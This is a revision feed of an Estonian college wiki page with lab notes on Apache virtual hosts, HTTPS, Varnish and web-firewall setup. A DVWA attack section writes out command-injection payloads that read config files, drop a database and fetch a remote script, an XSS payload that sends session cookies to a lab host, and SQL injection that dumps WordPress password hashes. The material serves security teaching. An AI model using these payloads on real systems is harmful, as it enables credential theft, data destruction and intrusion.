Enter file in which to save the key (/root/.ssh/id_rsa): /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Enter passphrase (empty for no passphrase): &lt;br /&gt;
Enter same passphrase again: &lt;br /&gt;
Your identification has been saved in /etc/ssl/private/www.planet.zz.key.&lt;br /&gt;
Your public key has been saved in /etc/ssl/private/www.planet.zz.key.pub.&lt;br /&gt;
The key fingerprint is:&lt;br /&gt;
76:6e:6a:b4:1b:75:7e:39:18:12:59:ee:9c:4c:b9:ef root@server&lt;br /&gt;
The key&#039;s randomart image is:&lt;br /&gt;
+--[ RSA 2048]----+&lt;br /&gt;
|            .    |&lt;br /&gt;
|           + .   |&lt;br /&gt;
|          o +    |&lt;br /&gt;
|           * o   |&lt;br /&gt;
|        S + O    |&lt;br /&gt;
|       ..+ + + . |&lt;br /&gt;
|       ...o o =  |&lt;br /&gt;
|        o+   o . |&lt;br /&gt;
|       .o.    E  |&lt;br /&gt;
+-----------------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
openssl req -new -key /etc/ssl/private/www.planet.zz.key -out /root/www.planet.zz.req&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
You are about to be asked to enter information that will be incorporated&lt;br /&gt;
into your certificate request.&lt;br /&gt;
What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;
There are quite a few fields but you can leave some blank&lt;br /&gt;
For some fields there will be a default value,&lt;br /&gt;
If you enter &#039;.&#039;, the field will be left blank.&lt;br /&gt;
-----&lt;br /&gt;
Country Name (2 letter code) [AU]:EE&lt;br /&gt;
State or Province Name (full name) [Some-State]:Harjumaa&lt;br /&gt;
Locality Name (eg, city) []:Tallinn&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Planet &lt;br /&gt;
Organizational Unit Name (eg, section) []:&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:www.planet.zz&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#039;extra&#039; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sudo openssl x509 -req -days 3650 -in /root/www.planet.zz.req -signkey /etc/ssl/private/www.planet.zz.key -out /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Signature ok&lt;br /&gt;
subject=/C=EE/ST=Harjumaa/L=Tallinn/O=Planet/OU=IT/CN=www.planet.zz&lt;br /&gt;
Getting Private key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-available/www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
Seal muuta sisu (sert, dokument root, keyfail)&lt;br /&gt;
&lt;br /&gt;
Lisa ServerName, Muuda DocumentRoot, Muuda SSLCertificateFile ja SSLCertificateKeyFile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ServerName      www.planet.zz&lt;br /&gt;
DocumentRoot /var/www/www.planet.zz&lt;br /&gt;
SSLCertificateFile    /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=ID kaart=&lt;br /&gt;
&lt;br /&gt;
[[ID kaardiga autentimine Apache2 veebiserveriga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
==cmd exec==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;/UUUU/&#039; ../../config/config.inc.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls -l &lt;br /&gt;
8.8.8.8; ls -l ../&lt;br /&gt;
8.8.8.8; ls -l ../../&lt;br /&gt;
#jne, kuni kõik failid/kataloogid on teada&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;//&#039;  ../../../../wordpress/wp-config.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Loon faili kala /var/tmp kataloogi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; touch /var/tmp/kala.txt&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning kontrollin kas fail loodi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls /var/tmp/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kustutada andmebaas (eelnevalt uurida andmebaasi nime ning parooli):&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;mysqladmin DROP dvwa -y;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kuvada failide infot:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;cat /etc/apache2/sites-enabled/www.planet.zz&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
skripti laadimine serverisse ning sellele käivitusbiti andmine:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; wget http://enos.itcollege.ee/~kloodus/osadmin/skript.sh -O /var/tmp/skript; chmod +x /var/tmp/skript/skript.sh&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuidas teada saada, kas küpsised on JavaScriptile kasutamiseks lubatud või mitte. Lahendus kasutab command execution&#039;it (XSS auku pole leitud, ei saa kasutada, ...)&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
; grep session.cookie_httponly /etc/php5/apache2/php.ini&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund:&lt;br /&gt;
* kui küpsised ei ole JavaScriptile loetavad, siis on väljund selline:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* kui küpsised on JavaScriptile loetavad, siis on väljund selline (HINT: Tegutse ruttu! :))&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==XSS==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;var i=&#039;&amp;lt;img src=&amp;quot;http://192.168.56.101/&#039;+document.cookie+&#039;&amp;quot; /&amp;gt;&#039;; document.write(i);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==veel XSSi==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%3Cscript%3Evar+i%3D%27%3Cimg+src%3D%22http%3A%2F%2F192.168.56.101%2F%27%2Bdocument.cookie%2B%27%22+%2F%3E%27%3B+document.write%28i%29%3B%3C%2Fscript%3E&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==SQLi==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
#blind&lt;br /&gt;
1&#039; union select BENCHMARK(100000000,ENCODE(&#039;hello&#039;,&#039;goodbye&#039;)),1; # --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2&#039; union select TABLE_SCHEMA, TABLE_NAME from information_schema.tables;# --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,COLUMN_NAME from information_schema.columns; # --&lt;br /&gt;
&lt;br /&gt;
4&#039; union select user_login,user_pass from wp.wp_users; #&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,concat(COLUMN_NAME,&#039;-&#039;,&#039;LISA&#039;) from information_schema.columns; #&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=GreenSQL firewall=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
dpkg -i greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
apt-get install -f&lt;br /&gt;
&lt;br /&gt;
#Modify existing virtualhost or create new virtualhost.&lt;br /&gt;
&lt;br /&gt;
cd /var/www/EXISTINGORNEW&lt;br /&gt;
ln -s /usr/share/greensql-fw/ greensql&lt;br /&gt;
&lt;br /&gt;
cd greensql&lt;br /&gt;
chmod 0777 templates_c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutajanimi veebiliidesel on &#039;&#039;&#039;admin&#039;&#039;&#039; ja parool &#039;&#039;&#039;pwd&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke DVWA config failis andmebaasi asukohta:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$_DVWA[ &#039;db_server&#039; ] = &#039;127.0.0.1:3305&#039;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#lisage faili /etc/rc.local järgmine ride ENNE exit 0 rida&lt;br /&gt;
service greensql-fw start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=modsecurity=&lt;br /&gt;
==installeerimine==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt-get install libapache2-mod-security2&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke faili &#039;&#039;&#039;/etc/apache2/mods-available/security2.conf&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;IfModule security2_module&amp;gt;&lt;br /&gt;
        # Default Debian dir for modsecurity&#039;s persistent data&lt;br /&gt;
        SecDataDir /var/cache/modsecurity&lt;br /&gt;
&lt;br /&gt;
        # Include all the *.conf files in /etc/modsecurity.&lt;br /&gt;
        # Keeping your local configuration in that directory&lt;br /&gt;
        # will allow for an easy upgrade of THIS file and&lt;br /&gt;
        # make your life easier&lt;br /&gt;
        IncludeOptional /etc/modsecurity/*.conf&lt;br /&gt;
        IncludeOptional /usr/share/modsecurity-crs/base_rules/*.conf&lt;br /&gt;
        SecRuleEngine On&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme nimelingi modsecurity reeglite seadistamiseks:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ln -s /usr/share/modsecurity-crs/modsecurity_crs_10_setup.conf /etc/modsecurity/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Apache2 tweaks=&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
ServerSignature Off&lt;br /&gt;
ServerTokens Prod&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://chandank.com/webservers/apache/apache-web-server-hardening-security?start=3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Apache testimine ==&lt;br /&gt;
Lisaks ab&#039;le on olemas ka teisi utiliite:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.Apache JMeter - http://jmeter.apache.org/download_jmeter.cgi &amp;lt;br&amp;gt;&lt;br /&gt;
2. httperf - http://www.hpl.hp.com/research/linux/httperf/download.php &amp;lt;br&amp;gt;&lt;br /&gt;
3. OpenWebLoad - http://openwebload.sourceforge.net/#download &amp;lt;br&amp;gt;&lt;br /&gt;
4. Allmon - https://code.google.com/p/allmon/downloads/list &amp;lt;br&amp;gt;&lt;br /&gt;
5. CLIF - http://clif.ow2.org/download/index.html &amp;lt;br&amp;gt;&lt;br /&gt;
6. curl-loader - http://sourceforge.net/projects/curl-loader/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
7. deluge(alates 2002 ei ole uusi versioone) - http://sourceforge.net/projects/deluge/ &amp;lt;br&amp;gt;&lt;br /&gt;
8. dieseltest(ainult windowsile ning pole uuendatud aastast 2001) - http://sourceforge.net/projects/dieseltest/ &amp;lt;br&amp;gt;&lt;br /&gt;
9. FWPTT - http://sourceforge.net/projects/fwptt/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
10. http_load - http://www.acme.com/software/http_load/ &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88393</id>
		<title>Virtualhost apache2 näitel</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88393"/>
		<updated>2015-05-04T10:11:00Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* installeerimine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:IT infrastruktuuri teenused]]&lt;br /&gt;
=Apache seadistamine=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/hosts&lt;br /&gt;
&lt;br /&gt;
192.168.56.101  www.planet.zz&lt;br /&gt;
192.168.56.101  sales.planet.zz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ping www.planet.zz&lt;br /&gt;
&lt;br /&gt;
ping sales.planet.zz    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
apt-get update     &lt;br /&gt;
apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
mkdir -p /var/www/www.planet.zz&lt;br /&gt;
mkdir -p /var/www/sales.planet.zz&lt;br /&gt;
cp /var/www/index.html /var/www/www.planet.zz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat &amp;gt;&amp;gt; /etc/network/interfaces &amp;lt;&amp;lt;EOL&lt;br /&gt;
auto eth1:0&lt;br /&gt;
iface eth1:0 inet static&lt;br /&gt;
        address 192.168.56.201&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
EOL&lt;br /&gt;
&lt;br /&gt;
ifup eth1:0&lt;br /&gt;
&lt;br /&gt;
cp /var/www/index.html /var/www/sales.planet.zz&lt;br /&gt;
vim /var/www/www.planet.zz/index.html&lt;br /&gt;
vim /var/www/sales.planet.zz/index.html&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/www.planet.zz&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/sales.planet.zz&lt;br /&gt;
&lt;br /&gt;
vim www.planet.zz &lt;br /&gt;
vim sales.planet.zz &lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz&lt;br /&gt;
a2ensite sales.planet.zz &lt;br /&gt;
service apache2 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=WordPress tuning=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
        ServerName wp.planet.zz&lt;br /&gt;
        DocumentRoot /var/www/wordpress&lt;br /&gt;
        &amp;lt;Directory /&amp;gt;&lt;br /&gt;
                Options FollowSymLinks&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
                Options Indexes FollowSymLinks MultiViews&lt;br /&gt;
                AllowOverride All&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/&lt;br /&gt;
        &amp;lt;Directory &amp;quot;/usr/lib/cgi-bin&amp;quot;&amp;gt;&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                Allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
&lt;br /&gt;
        # Possible values include: debug, info, notice, warn, error, crit,&lt;br /&gt;
        # alert, emerg.&lt;br /&gt;
        LogLevel warn&lt;br /&gt;
&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&lt;br /&gt;
    Alias /doc/ &amp;quot;/usr/share/doc/&amp;quot;&lt;br /&gt;
    &amp;lt;Directory &amp;quot;/usr/share/doc/&amp;quot;&amp;gt;&lt;br /&gt;
        Options Indexes MultiViews FollowSymLinks&lt;br /&gt;
        AllowOverride None&lt;br /&gt;
        Order deny,allow&lt;br /&gt;
        Deny from all&lt;br /&gt;
        Allow from 127.0.0.0/255.0.0.0 ::1/128&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pange tähele muudetud Directory seadeid.&lt;br /&gt;
&amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
AllowOverride All&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &#039;-1000&#039; &amp;gt; /proc/$(pidof mysqld)/oom_score_adj&lt;br /&gt;
a2enmod rewrite &lt;br /&gt;
a2enmod headers &lt;br /&gt;
a2enmod expires &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selle rea võib lisada alglaadimisel käivitatavasse faili &#039;&#039;/etc/rc.local&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Paigaldage oma valitud cace plugin wordpressile.&lt;br /&gt;
&lt;br /&gt;
=Varnish=&lt;br /&gt;
Esmaselt tõstame apache2 porti 8080&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/apache2/ports.conf&lt;br /&gt;
NameVirtualHost *:8080&lt;br /&gt;
Listen 8080&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; default -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; wp -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; sales.planet.zz -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; www.planet.zz -i&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
grep &#039;:80&#039; *&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
netstat -lntp&lt;br /&gt;
&lt;br /&gt;
#installeerime varnish cache&lt;br /&gt;
apt-get install varnish&lt;br /&gt;
vim /etc/default/varnish&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DAEMON_OPTS=&amp;quot;-a :80 \&lt;br /&gt;
             -T localhost:6082 \&lt;br /&gt;
             -f /etc/varnish/default.vcl \&lt;br /&gt;
             -S /etc/varnish/secret \&lt;br /&gt;
             -s malloc,256m&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Faili /etc/varnish/default.vcl lisada X-Forwarded-For sedmine&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sub vcl_recv {&lt;br /&gt;
&lt;br /&gt;
  # Add a unique header containing the client address&lt;br /&gt;
&lt;br /&gt;
  remove req.http.X-Forwarded-For;&lt;br /&gt;
&lt;br /&gt;
  set    req.http.X-Forwarded-For = client.ip;&lt;br /&gt;
&lt;br /&gt;
  # [...]&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service varnish restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb seadistada apache veebiserver selliselt, et logis kasutatakse seda custom-logi formaati. Selleks tuleb avada soovitud veebiserveri konfiguratsioon asukohas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Avage soovitud veebiserveri konfiguratsioonifail. Antud näites kasutan &amp;quot;wp&amp;quot;-nimelist faili.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano wp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sinna tuleb kirjutada CustomLog&#039;i rea asemele&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb muuta apache2 konfiguratsiooni, kuhu tuleb seadistada varnishcombined logiformaat. Selleks liigu asukohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/conf.d/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee sinna uus fail nimega näiteks &#039;&#039;&#039;varnishlog.conf&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano varnishlog.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kirjuta sinna see rida&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LogFormat &amp;quot;%{X-Forwarded-For}i %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot;&amp;quot; varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee apache2 teenusele restart&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
=HTTPS konfigureerimine=&lt;br /&gt;
&lt;br /&gt;
ssh-keygen &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Generating public/private rsa key pair.&lt;br /&gt;
Enter file in which to save the key (/root/.ssh/id_rsa): /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Enter passphrase (empty for no passphrase): &lt;br /&gt;
Enter same passphrase again: &lt;br /&gt;
Your identification has been saved in /etc/ssl/private/www.planet.zz.key.&lt;br /&gt;
Your public key has been saved in /etc/ssl/private/www.planet.zz.key.pub.&lt;br /&gt;
The key fingerprint is:&lt;br /&gt;
76:6e:6a:b4:1b:75:7e:39:18:12:59:ee:9c:4c:b9:ef root@server&lt;br /&gt;
The key&#039;s randomart image is:&lt;br /&gt;
+--[ RSA 2048]----+&lt;br /&gt;
|            .    |&lt;br /&gt;
|           + .   |&lt;br /&gt;
|          o +    |&lt;br /&gt;
|           * o   |&lt;br /&gt;
|        S + O    |&lt;br /&gt;
|       ..+ + + . |&lt;br /&gt;
|       ...o o =  |&lt;br /&gt;
|        o+   o . |&lt;br /&gt;
|       .o.    E  |&lt;br /&gt;
+-----------------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
openssl req -new -key /etc/ssl/private/www.planet.zz.key -out /root/www.planet.zz.req&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
You are about to be asked to enter information that will be incorporated&lt;br /&gt;
into your certificate request.&lt;br /&gt;
What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;
There are quite a few fields but you can leave some blank&lt;br /&gt;
For some fields there will be a default value,&lt;br /&gt;
If you enter &#039;.&#039;, the field will be left blank.&lt;br /&gt;
-----&lt;br /&gt;
Country Name (2 letter code) [AU]:EE&lt;br /&gt;
State or Province Name (full name) [Some-State]:Harjumaa&lt;br /&gt;
Locality Name (eg, city) []:Tallinn&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Planet &lt;br /&gt;
Organizational Unit Name (eg, section) []:&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:www.planet.zz&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#039;extra&#039; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sudo openssl x509 -req -days 3650 -in /root/www.planet.zz.req -signkey /etc/ssl/private/www.planet.zz.key -out /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Signature ok&lt;br /&gt;
subject=/C=EE/ST=Harjumaa/L=Tallinn/O=Planet/OU=IT/CN=www.planet.zz&lt;br /&gt;
Getting Private key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-available/www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
Seal muuta sisu (sert, dokument root, keyfail)&lt;br /&gt;
&lt;br /&gt;
Lisa ServerName, Muuda DocumentRoot, Muuda SSLCertificateFile ja SSLCertificateKeyFile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ServerName      www.planet.zz&lt;br /&gt;
DocumentRoot /var/www/www.planet.zz&lt;br /&gt;
SSLCertificateFile    /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=ID kaart=&lt;br /&gt;
&lt;br /&gt;
[[ID kaardiga autentimine Apache2 veebiserveriga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
==cmd exec==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
